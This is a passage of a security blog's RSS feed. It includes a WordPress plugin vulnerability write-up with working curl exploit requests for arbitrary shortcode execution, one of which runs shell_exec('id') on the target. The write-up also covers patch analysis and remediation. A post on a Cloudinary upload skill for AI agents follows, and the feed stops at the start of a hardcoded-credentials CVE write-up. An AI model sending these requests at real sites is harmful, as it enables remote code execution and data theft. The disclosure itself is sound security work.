&lt;p&gt;&lt;strong&gt;Step 2: Send the malicious AJAX request with an arbitrary shortcode payload&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
  -X POST &quot;https://TARGET/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=update_responsive_woo_free_shipping_left_shortcode&quot; \
  --data-urlencode &quot;content=trigger&quot; \
  --data-urlencode &quot;content_rech_data=[your_arbitrary_shortcode]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2a: Example with a PHP-execution shortcode (if &quot;Insert PHP Snippet&quot; or similar is active)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
  -X POST &quot;https://TARGET/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=update_responsive_woo_free_shipping_left_shortcode&quot; \
  --data-urlencode &quot;content=trigger&quot; \
  --data-urlencode &quot;content_rech_data=[insert_php]echo shell_exec(&apos;id&apos;);[/insert_php]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2b: Example with a data-exposure shortcode (works on any WP site)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# The [password_protected] shortcode or [user_meta] shortcodes from various plugins
# can expose user data. Even core [gallery] shortcodes confirm code injection.
curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
  -X POST &quot;https://TARGET/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=update_responsive_woo_free_shipping_left_shortcode&quot; \
  --data-urlencode &quot;content=trigger&quot; \
  --data-urlencode &quot;content_rech_data=[gallery ids=&apos;1&apos;]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;When the attacker&apos;s cart total meets or exceeds the configured free shipping minimum, the server executes &lt;code&gt;do_shortcode($content_rech_data)&lt;/code&gt; and returns the shortcode output in the JSON response. If a PHP-execution shortcode is registered, arbitrary OS commands or PHP code are executed server-side.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Check the HTTP response body — the JSON payload will contain the shortcode output&lt;/li&gt;
&lt;li&gt;For RCE shortcodes: the output of &lt;code&gt;id&lt;/code&gt; (or whatever OS command is used) will appear in the response&lt;/li&gt;
&lt;li&gt;For data-exposure shortcodes: sensitive WordPress data will appear in the response&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the shortcode has side effects (e.g., creating admin users, sending emails, writing files), verify via the WordPress admin panel or server file system.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Only &lt;strong&gt;&lt;code&gt;includes/customizer/helper.php&lt;/code&gt;&lt;/strong&gt; was changed to address this vulnerability (the remaining 21 files changed in the release address unrelated improvements).&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch completely eliminates reliance on user-supplied POST data. Instead of reading &lt;code&gt;$_POST[&apos;content_rech_data&apos;]&lt;/code&gt;, the fixed function reads the shortcode configuration from a trusted server-side source — the WordPress Customizer setting &lt;code&gt;responsive_popup_bottom_text&lt;/code&gt; — via &lt;code&gt;get_theme_mod()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Don&apos;t accept POST data from users
$default_bottom_text = esc_html__( &apos;[responsive_woo_free_shipping_left]&apos;, &apos;responsive-addons-pro&apos; );
$custom_text = get_theme_mod( &apos;responsive_popup_bottom_text&apos;, $default_bottom_text );

// Parse shortcode attributes from the stored value
if ( ! empty( $custom_text ) &amp;amp;&amp;amp; preg_match( &apos;/\[responsive_woo_free_shipping_left(.*?)\]/&apos;, $custom_text, $matches ) ) {
    if ( ! empty( $matches[1] ) ) {
        $shortcode_attrs = shortcode_parse_atts( $matches[1] );
        if ( ! empty( $shortcode_attrs ) &amp;amp;&amp;amp; is_array( $shortcode_attrs ) ) {
            $atts = $shortcode_attrs;
        }
    }
}

// Recalculate from cart state using trusted database values
$return_shortcode_value = woo_free_shipping_shortcode( $atts, &apos;&apos; );
wp_send_json( $return_shortcode_value );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix introduces:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;No user input&lt;/strong&gt; — POST parameters are completely ignored&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trusted source&lt;/strong&gt; — attributes come from the WordPress database value set by an administrator&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tag restriction&lt;/strong&gt; — the regex only extracts attributes from the &lt;code&gt;[responsive_woo_free_shipping_left]&lt;/code&gt; shortcode, not any arbitrary tag&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is a complete fix for the root cause. The endpoint no longer exposes an arbitrary shortcode execution surface.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt; function update_responsive_woo_free_shipping_left_shortcode() {
 	$atts = array();
-	// The nonce is not provided by WooCommerce for this context, suppressing warning.
-	// phpcs:disable WordPress.Security.NonceVerification.Missing
-
-	if ( ( isset( $_POST[&apos;content&apos;] ) &amp;amp;&amp;amp; &apos;&apos; !== sanitize_text_field( wp_unslash( $_POST[&apos;content&apos;] ) ) )
-		|| ( isset( $_POST[&apos;content_rech_data&apos;] ) &amp;amp;&amp;amp; &apos;&apos; !== sanitize_text_field( wp_unslash( $_POST[&apos;content_rech_data&apos;] ) ) ) ) {
-
-		$atts[&apos;content_reached&apos;] = sanitize_text_field( wp_unslash( $_POST[&apos;content_rech_data&apos;] ) );
-		$content                 = str_replace( &apos;+&apos;, &apos;%&apos;, sanitize_text_field( wp_unslash( $_POST[&apos;content_rech_data&apos;] ) ) );
-		$atts[&apos;content&apos;]         = $content;
-		$return_shortcode_value  = woo_free_shipping_shortcode( $atts, &apos;&apos; );
-		wp_send_json( $return_shortcode_value );
-
-	} else {
-
+	
+	// Don&apos;t accept POST data from users 
+	$default_bottom_text = esc_html__( &apos;[responsive_woo_free_shipping_left]&apos;, &apos;responsive-addons-pro&apos; );
+	$custom_text = get_theme_mod( &apos;responsive_popup_bottom_text&apos;, $default_bottom_text );
+	
+	// Parse shortcode attributes from the stored value
+	if ( ! empty( $custom_text ) &amp;amp;&amp;amp; preg_match( &apos;/\[responsive_woo_free_shipping_left(.*?)\]/&apos;, $custom_text, $matches ) ) {
+		if ( ! empty( $matches[1] ) ) {
+			$shortcode_attrs = shortcode_parse_atts( $matches[1] );
+			if ( ! empty( $shortcode_attrs ) &amp;amp;&amp;amp; is_array( $shortcode_attrs ) ) {
+				$atts = $shortcode_attrs;
+			}
+		}
+	}
+	
+	// Recalculate from cart state using trusted database values
 		$return_shortcode_value = woo_free_shipping_shortcode( $atts, &apos;&apos; );
 		wp_send_json( $return_shortcode_value );
-
-	}
-	// phpcs:enable
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Alex Tselevich (nos3curity)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.4.3 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;responsive-add-ons&lt;/code&gt; plugin to version &lt;strong&gt;3.4.3&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Temporarily deactivate the plugin, or&lt;/li&gt;
&lt;li&gt;Use a WAF rule to block POST requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; where &lt;code&gt;action=update_responsive_woo_free_shipping_left_shortcode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/responsive-add-ons/responsive-plus-elementor-templates-starter-sites-343-unauthenticated-arbitrary-code-execution&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vdp.patchstack.com/database/wordpress/plugin/responsive-add-ons/vulnerability/wordpress-responsive-plus-plugin-3-4-3-unauthenticated-arbitrary-shortcode-execution-vulnerability&quot;&gt;Patchstack Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?old_path=/responsive-add-ons/tags/3.4.3&amp;amp;new_path=/responsive-add-ons/tags/3.4.3&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;WordPress SVN Changeset (3.4.3)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15488&quot;&gt;CVE-2025-15488 Record&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-10T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Cloudinary AI Skill for SQA: Auto-Upload Screenshots Explained</title><link>https://hurayraiit.com/blog/cloudinary-ai-skill-for-sqa-engineers/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cloudinary-ai-skill-for-sqa-engineers/</guid><description>AI skills are reusable, portable instruction sets that extend what an AI agent can do. I built a Cloudinary uploader skill that&apos;s changed how I attach visual evidence to bug reports and GitHub issues.</description><pubDate>Sun, 05 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As an SQA engineer, one of my most tedious daily tasks used to be this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run a Playwright test&lt;/li&gt;
&lt;li&gt;A screenshot gets saved somewhere on disk&lt;/li&gt;
&lt;li&gt;Copy it somewhere accessible&lt;/li&gt;
&lt;li&gt;Upload it manually to a hosting service&lt;/li&gt;
&lt;li&gt;Paste the link into a GitHub issue&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Every single time. For every bug. I finally automated this entire chain using something called an &lt;strong&gt;AI skill&lt;/strong&gt; — specifically, a Cloudinary uploader skill I built myself. In this post I&apos;ll explain what AI skills are, why I needed this one, how I built it, and how you can use it too.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;What Are AI Skills?&lt;/h2&gt;
&lt;p&gt;AI skills are reusable, portable instruction sets for AI agents. Think of them as plugins — you write a &lt;code&gt;SKILL.md&lt;/code&gt; file that tells the AI what the skill does, when to use it, and how to invoke it. Once placed in the right directory, Claude Code (and other compatible tools) automatically discovers them and makes them available in every session.&lt;/p&gt;
&lt;p&gt;The format comes from the &lt;a href=&quot;https://github.com/opencodelabs/opencode&quot;&gt;OpenCode specification&lt;/a&gt;. A skill lives in a folder named after it, and the folder contains at minimum a &lt;code&gt;SKILL.md&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/.agents/skills/
  cloudinary-uploader/
    SKILL.md
    scripts/
      upload.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;SKILL.md&lt;/code&gt; has YAML frontmatter followed by instructions written in plain English (or whatever language your agent understands):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
name: cloudinary-uploader
description: Upload local images, videos, and files to Cloudinary and return their direct URL.
---

## When to use

Use this skill whenever you need to upload a local file and get a public URL back...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Claude reads this file, understands the capability, and knows to invoke it when you ask to upload a file or attach visual evidence to a GitHub issue. No extra configuration needed per project.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Where Claude Code looks for skills:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Global (available everywhere): &lt;code&gt;~/.agents/skills/&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt; or &lt;code&gt;~/.claude/skills/&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Project-local (scoped to one repo): &lt;code&gt;.claude/skills/&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt; or &lt;code&gt;.agents/skills/&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Global skills are the right choice for tools you use across all your projects — like a screenshot uploader.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Why I Needed This&lt;/h2&gt;
&lt;p&gt;My day-to-day testing workflow involves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Playwright&lt;/strong&gt; for browser automation and end-to-end tests&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub issues&lt;/strong&gt; for tracking bugs with visual evidence&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt; with the &lt;code&gt;playwright-cli&lt;/code&gt; skill for AI-assisted browser interactions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;playwright-cli&lt;/code&gt; skill is great — I can ask Claude to navigate a page, interact with elements, and take screenshots. But after the screenshot lands on disk, the workflow broke. To attach it to a GitHub issue, I either had to manually upload it somewhere or paste a local path that nobody else could see.&lt;/p&gt;
&lt;p&gt;Visual evidence is non-negotiable in SQA. A screenshot of a broken layout, a video of a flaky test, a diff image — these are what make bug reports credible and actionable. Without a hosted URL, they&apos;re useless in a GitHub comment.&lt;/p&gt;
&lt;p&gt;I needed the AI to handle the full loop: take a screenshot → upload it → hand me the URL → embed it in the issue. That required a skill.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;How I Built It&lt;/h2&gt;
&lt;p&gt;The skill has two parts: a &lt;code&gt;SKILL.md&lt;/code&gt; instruction file and an &lt;code&gt;upload.sh&lt;/code&gt; bash script.&lt;/p&gt;
&lt;h3&gt;The &lt;a href=&quot;http://SKILL.md&quot;&gt;SKILL.md&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This is what the agent reads. It explains:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;When to invoke&lt;/strong&gt; the skill (uploading files, getting public URLs, preparing visual evidence for GitHub issues)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How credentials are resolved&lt;/strong&gt; (from environment, rc files, or &lt;code&gt;.env&lt;/code&gt; — never hardcoded)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How to invoke the script&lt;/strong&gt; (pass one or more file paths)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How to format the output&lt;/strong&gt; (images as &lt;code&gt;![Url](URL)&lt;/code&gt;, other files as &lt;code&gt;[text](URL)&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The instructions are intentionally specific. The agent doesn&apos;t have to guess — it knows exactly what the script outputs and how to use it.&lt;/p&gt;
&lt;h3&gt;The &lt;a href=&quot;http://upload.sh&quot;&gt;upload.sh&lt;/a&gt; Script&lt;/h3&gt;
&lt;p&gt;The script does the actual work. Here&apos;s what it handles:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Credential resolution&lt;/strong&gt; — It checks (in order):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;CLOUDINARY_URL&lt;/code&gt; already in the current environment&lt;/li&gt;
&lt;li&gt;A targeted &lt;code&gt;grep&lt;/code&gt; of &lt;code&gt;~/.zshrc&lt;/code&gt;, &lt;code&gt;~/.bashrc&lt;/code&gt;, or &lt;code&gt;~/.profile&lt;/code&gt; — without sourcing them, which would run all your &lt;code&gt;nvm&lt;/code&gt;/&lt;code&gt;rbenv&lt;/code&gt;/prompt setup code&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.env&lt;/code&gt; files in the current directory, &lt;code&gt;$HOME/.env&lt;/code&gt;, or &lt;code&gt;$HOME/.cloudinary&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Signing the request&lt;/strong&gt; — Cloudinary&apos;s upload API requires a signed request. The script computes a SHA-1 signature from the parameters + your API secret:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;STRING_TO_SIGN=&quot;public_id=${PUBLIC_ID}&amp;amp;timestamp=${TIMESTAMP}${API_SECRET}&quot;
SIGNATURE=$(_sha1 &quot;$STRING_TO_SIGN&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Collision-safe public IDs&lt;/strong&gt; — Every upload is prefixed with a &lt;code&gt;YYMMDD_HHMMSS_&lt;/code&gt; timestamp so filenames never overwrite each other:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;260405_143022_login-error-screenshot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;File size guard&lt;/strong&gt; — Files over 10 MB are skipped with an error. The Cloudinary free plan has limits, and quietly uploading a 50 MB video recording is how you blow through them in one session.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flexible JSON parsing&lt;/strong&gt; — The script uses &lt;code&gt;jq&lt;/code&gt; if available, falls back to &lt;code&gt;python3&lt;/code&gt;, and has a &lt;code&gt;grep&lt;/code&gt;-based last resort for minimal environments.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Batch support&lt;/strong&gt; — Pass multiple files and it loops through all of them, printing one URL per line.&lt;/p&gt;
&lt;p&gt;The full script is under 180 lines of bash with no external dependencies beyond &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;sha1sum&lt;/code&gt;/&lt;code&gt;shasum&lt;/code&gt; (both available by default on macOS and most Linux distros).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;How This Changed My Workflow&lt;/h2&gt;
&lt;p&gt;The difference is most visible in three scenarios:&lt;/p&gt;
&lt;h3&gt;1. Playwright Screenshot Evidence&lt;/h3&gt;
&lt;p&gt;When I use the &lt;code&gt;playwright-cli&lt;/code&gt; skill to test a page, I can now say:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Take a screenshot of the checkout page after adding item X to the cart, upload it, and attach it to GitHub issue #47.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude takes the screenshot, invokes the Cloudinary skill, gets the URL, and includes it directly in the GitHub issue body — all in one go. No tab switching, no manual upload, no copying URLs.&lt;/p&gt;
&lt;h3&gt;2. Bug Reports with Visual Proof&lt;/h3&gt;
&lt;p&gt;When I find a UI regression or a broken layout, the entire report flow becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;me: Upload this screenshot and create a GitHub issue with it as evidence
AI: [uploads screenshot] [creates issue with embedded image]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The image is hosted on Cloudinary&apos;s CDN, loads fast, and is permanently accessible — unlike a local file path or a Slack attachment that expires.&lt;/p&gt;
&lt;h3&gt;3. Batch Upload for Test Run Artifacts&lt;/h3&gt;
&lt;p&gt;After a full test run that produces a dozen screenshots, I can ask Claude to upload all of them at once:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;me: Upload all screenshots from the last test run and give me the URLs
AI: [batch uploads] [returns list of URLs]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;How You Can Use It Too&lt;/h2&gt;
&lt;h3&gt;Step 1: Get a Free Cloudinary Account&lt;/h3&gt;
&lt;p&gt;Sign up at &lt;a href=&quot;https://cloudinary.com&quot;&gt;cloudinary.com&lt;/a&gt;. The free plan gives you 25 GB of storage and 25 GB of monthly bandwidth — more than enough for screenshot uploads. You don&apos;t need a credit card.&lt;/p&gt;
&lt;p&gt;After signing up, go to your &lt;strong&gt;Dashboard&lt;/strong&gt; and find your &lt;strong&gt;API Environment variable&lt;/strong&gt;. It looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CLOUDINARY_URL=cloudinary://123456789012345:your_api_secret_here@your_cloud_name
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2: Set Your Credentials&lt;/h3&gt;
&lt;p&gt;Add the &lt;code&gt;CLOUDINARY_URL&lt;/code&gt; to your shell profile so the script can find it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Add to ~/.zshrc or ~/.bashrc
export CLOUDINARY_URL=&quot;cloudinary://API_KEY:API_SECRET@CLOUD_NAME&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or if you prefer to keep it out of your shell profile, create &lt;code&gt;~/.cloudinary&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CLOUDINARY_URL=cloudinary://API_KEY:API_SECRET@CLOUD_NAME
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The script checks all of these locations automatically. You never pass credentials as arguments — they&apos;re always read from your environment.&lt;/p&gt;
&lt;h3&gt;Step 3: Create the Skill Directory&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p ~/.agents/skills/cloudinary-uploader/scripts
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 4: Create the &lt;a href=&quot;http://SKILL.md&quot;&gt;SKILL.md&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Create &lt;code&gt;~/.agents/skills/cloudinary-uploader/SKILL.md&lt;/code&gt; with this content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
name: cloudinary-uploader
description: Upload local images, videos, and files to Cloudinary and return their direct URL.
---

# Cloudinary Uploader

This skill enables AI agents to upload local images, videos, and files directly
to Cloudinary so you can easily share public links in chats, documentation,
or format them as visual evidence for GitHub issues.

## When to use

Use this skill whenever you are asked to:
- Upload a local file (screenshot, image, video, log file) to Cloudinary.
- Get a public URL for a local file.
- Prepare visual evidence or assets to attach to a GitHub issue.
- Batch upload multiple files at once.

## Credentials

The script reads CLOUDINARY_URL from (in order):
1. The current environment
2. A targeted grep of ~/.zshrc, ~/.bashrc, or ~/.profile (no sourcing)
3. A .env file in the current directory, ~/.env, or ~/.cloudinary

Expected format: cloudinary://&amp;lt;API_KEY&amp;gt;:&amp;lt;API_SECRET&amp;gt;@&amp;lt;CLOUD_NAME&amp;gt;

## Instructions

1. Identify the file path(s) to upload.
2. Run the upload.sh script in the scripts/ directory of this skill.
3. The script prints the direct URL(s) to stdout (one per line).
4. Format URLs in Markdown:
   - Images: ![Url](URL)
   - Videos/other files: [Description](URL)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 5: Create the &lt;a href=&quot;http://upload.sh&quot;&gt;upload.sh&lt;/a&gt; Script&lt;/h3&gt;
&lt;p&gt;Create &lt;code&gt;~/.agents/skills/cloudinary-uploader/scripts/upload.sh&lt;/code&gt; and paste the script content. The full script is available in my &lt;a href=&quot;https://github.com/HurayraIIT/skills&quot;&gt;skills repository&lt;/a&gt; — or you can write your own using the structure I described above.&lt;/p&gt;
&lt;p&gt;Make it executable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x ~/.agents/skills/cloudinary-uploader/scripts/upload.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 6: Verify It Works&lt;/h3&gt;
&lt;p&gt;Test the script directly before relying on the AI to invoke it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/.agents/skills/cloudinary-uploader/scripts/upload.sh /path/to/test-image.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If credentials are set correctly, you&apos;ll see a Cloudinary URL printed to stdout. If something is wrong, the error message will tell you exactly what failed — missing credentials, wrong format, network error, or file size limit exceeded.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Combining With Other Skills&lt;/h2&gt;
&lt;p&gt;The real power shows up when you chain skills together. My current workflow for bug reporting combines three skills:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;playwright-cli&lt;/code&gt;&lt;/strong&gt; — Navigate the page and take a screenshot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cloudinary-uploader&lt;/code&gt;&lt;/strong&gt; — Upload the screenshot and get the URL&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;github-issue-creator&lt;/code&gt;&lt;/strong&gt; — Create the GitHub issue with the image embedded&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;None of these skills know about each other — Claude orchestrates them based on context. I just describe what I want and the agent figures out which skills to invoke and in what order.&lt;/p&gt;
&lt;p&gt;This is exactly the kind of workflow that used to require custom tooling or glue scripts. Now it&apos;s a few &lt;a href=&quot;http://SKILL.md&quot;&gt;SKILL.md&lt;/a&gt; files in a directory.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;A Note on Security&lt;/h2&gt;
&lt;p&gt;A few things worth knowing before you set this up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Never hardcode credentials.&lt;/strong&gt; The script is designed to read &lt;code&gt;CLOUDINARY_URL&lt;/code&gt; from your environment, not accept it as an argument. This keeps secrets out of shell history and process lists.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The free plan is public by default.&lt;/strong&gt; Anything you upload to Cloudinary is publicly accessible via its URL. Don&apos;t upload screenshots containing sensitive data (passwords, API keys, PII) without configuring private delivery on a paid plan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The script never sources your shell files.&lt;/strong&gt; It uses targeted &lt;code&gt;grep&lt;/code&gt; to extract the variable — this avoids running any initialization code from your rc files.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Why This Matters for SQA Engineers Specifically&lt;/h2&gt;
&lt;p&gt;Most AI productivity content focuses on developers. But SQA engineers have a specific workflow challenge: we produce a lot of binary artifacts (screenshots, videos, HAR files) and we need those artifacts embedded in human-readable reports and issue trackers.&lt;/p&gt;
&lt;p&gt;Text-based AI tools handle text beautifully. The gap has always been at the boundary between disk files and the web. AI skills bridge that gap — you write the bridge once, as a &lt;code&gt;SKILL.md&lt;/code&gt; + a script, and every future session has access to it automatically.&lt;/p&gt;
&lt;p&gt;The Cloudinary skill took me an afternoon to write and test. Since then it&apos;s saved me time on every single bug report.&lt;/p&gt;
&lt;p&gt;If you&apos;re using Claude Code for testing workflows, I&apos;d strongly encourage you to look at what repetitive steps you&apos;re still doing manually. There&apos;s a good chance a short skill file is all it takes to hand that task off entirely.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Have questions about setting this up or want to share a skill you&apos;ve built? Feel free to reach out.&lt;/em&gt;&lt;/p&gt;
</content:encoded><category>sqa</category><category>ai</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-1233: Hardcoded MySQL Credentials in TTS Plugin</title><link>https://hurayraiit.com/blog/cve-2026-1233-text-to-speech-tts-hardcoded-credentials/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-1233-text-to-speech-tts-hardcoded-credentials/</guid><description>CVE-2026-1233 is a CVSS 7.5 (High) vulnerability in the Text to Speech – TTSWP WordPress plugin where double Base64-encoded MySQL credentials were hardcoded in the plugin source, granting any unauthenticated attacker direct access to the vendor&apos;s telemetry database.</description><pubDate>Sat, 04 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-1233&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; sensitive information exposure vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/text-to-speech-tts/&quot;&gt;Text to Speech – TTSWP&lt;/a&gt; WordPress plugin by Mementor. The plugin&apos;s &lt;code&gt;Mementor_TTS_Remote_Telemetry&lt;/code&gt; class contains hardcoded MySQL credentials for the vendor&apos;s external telemetry server, protected only by double Base64 encoding — a trivial, reversible transformation. Any unauthenticated attacker who reads the plugin source code (freely downloadable from &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt;) can decode these credentials in seconds and connect directly to the vendor&apos;s MySQL server, gaining access to the telemetry database that aggregates usage metadata from every site running the plugin.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Text to Speech – TTSWP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;text-to-speech-tts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
